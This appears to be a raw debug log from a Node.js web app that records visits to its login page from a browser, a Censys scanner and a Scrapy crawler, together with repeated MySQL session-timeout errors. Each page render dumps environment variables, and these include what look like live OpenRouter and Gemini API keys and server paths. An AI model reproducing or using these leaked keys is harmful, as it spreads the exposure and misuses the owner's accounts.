    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-17T03:03:19.587Z server-connect:router Serving templateView /
2026-04-17T03:03:19.588Z server-connect:app Executing action step identify
2026-04-17T03:03:19.588Z server-connect:app options: { provider: 'security' }
2026-04-17T03:03:19.588Z server-connect:auth No login cookie found
2026-04-17T03:03:19.588Z server-connect:output identity: false
2026-04-17T03:03:19.588Z server-connect:app Executing action step restrict
2026-04-17T03:03:19.588Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-17T03:03:19.588Z server-connect:output restrict: undefined
2026-04-17T03:03:37.556Z server-connect:router Serving templateView /login
2026-04-17T03:03:37.556Z server-connect:app Executing action step identify
2026-04-17T03:03:37.556Z server-connect:app options: { provider: 'security' }
2026-04-17T03:03:37.556Z server-connect:auth No login cookie found
2026-04-17T03:03:37.556Z server-connect:output identity: false
2026-04-17T03:03:37.556Z server-connect:router Render template layouts/authentication
2026-04-17T03:03:37.556Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-18T03:03:37.555Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-17 08:46:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-17 08:46:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-17 09:06:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-17 09:06:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-17 14:22:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-17 14:22:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-17 16:03:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-17 16:03:01' as DATETIME)"
}
2026-04-17T17:04:55.728Z server-connect:router Serving templateView /
2026-04-17T17:04:55.729Z server-connect:app Executing action step identify
2026-04-17T17:04:55.730Z server-connect:app options: { provider: 'security' }
2026-04-17T17:04:55.730Z server-connect:auth No login cookie found
2026-04-17T17:04:55.730Z server-connect:output identity: false
2026-04-17T17:04:55.730Z server-connect:app Executing action step restrict
2026-04-17T17:04:55.730Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-17T17:04:55.730Z server-connect:output restrict: undefined
2026-04-17T17:04:58.760Z server-connect:router Serving templateView /login
2026-04-17T17:04:58.760Z server-connect:app Executing action step identify
2026-04-17T17:04:58.760Z server-connect:app options: { provider: 'security' }
2026-04-17T17:04:58.760Z server-connect:auth No login cookie found
2026-04-17T17:04:58.760Z server-connect:output identity: false
2026-04-17T17:04:58.760Z server-connect:router Render template layouts/authentication
2026-04-17T17:04:58.760Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.195.117',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-18T17:04:58.759Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.195.117',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.195.117',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-17T17:11:31.981Z server-connect:router Serving templateView /
2026-04-17T17:11:31.981Z server-connect:app Executing action step identify
2026-04-17T17:11:31.981Z server-connect:app options: { provider: 'security' }
2026-04-17T17:11:31.982Z server-connect:auth No login cookie found
2026-04-17T17:11:31.982Z server-connect:output identity: false
2026-04-17T17:11:31.982Z server-connect:app Executing action step restrict
2026-04-17T17:11:31.982Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-17T17:11:31.982Z server-connect:output restrict: undefined
2026-04-17T17:11:34.752Z server-connect:router Serving templateView /login
2026-04-17T17:11:34.753Z server-connect:app Executing action step identify
2026-04-17T17:11:34.753Z server-connect:app options: { provider: 'security' }
2026-04-17T17:11:34.753Z server-connect:auth No login cookie found
2026-04-17T17:11:34.753Z server-connect:output identity: false
2026-04-17T17:11:34.753Z server-connect:router Render template layouts/authentication
2026-04-17T17:11:34.753Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.172.141',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-18T17:11:34.752Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.172.141',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.172.141',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-18T02:35:16.420Z server-connect:router Serving templateView /
2026-04-18T02:35:16.421Z server-connect:app Executing action step identify
2026-04-18T02:35:16.421Z server-connect:app options: { provider: 'security' }
2026-04-18T02:35:16.422Z server-connect:auth No login cookie found
2026-04-18T02:35:16.422Z server-connect:output identity: false
2026-04-18T02:35:16.422Z server-connect:app Executing action step restrict
2026-04-18T02:35:16.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-18T02:35:16.422Z server-connect:output restrict: undefined
2026-04-18T02:35:16.463Z server-connect:router Serving templateView /login
2026-04-18T02:35:16.463Z server-connect:app Executing action step identify
2026-04-18T02:35:16.463Z server-connect:app options: { provider: 'security' }
2026-04-18T02:35:16.463Z server-connect:auth No login cookie found
2026-04-18T02:35:16.463Z server-connect:output identity: false
2026-04-18T02:35:16.463Z server-connect:router Render template layouts/authentication
2026-04-18T02:35:16.463Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.141.147.241',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-19T02:35:16.462Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.141.147.241',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.141.147.241',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 03:45:02' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 03:45:02' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 03:50:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 03:50:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 04:20:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 04:20:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 04:22:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
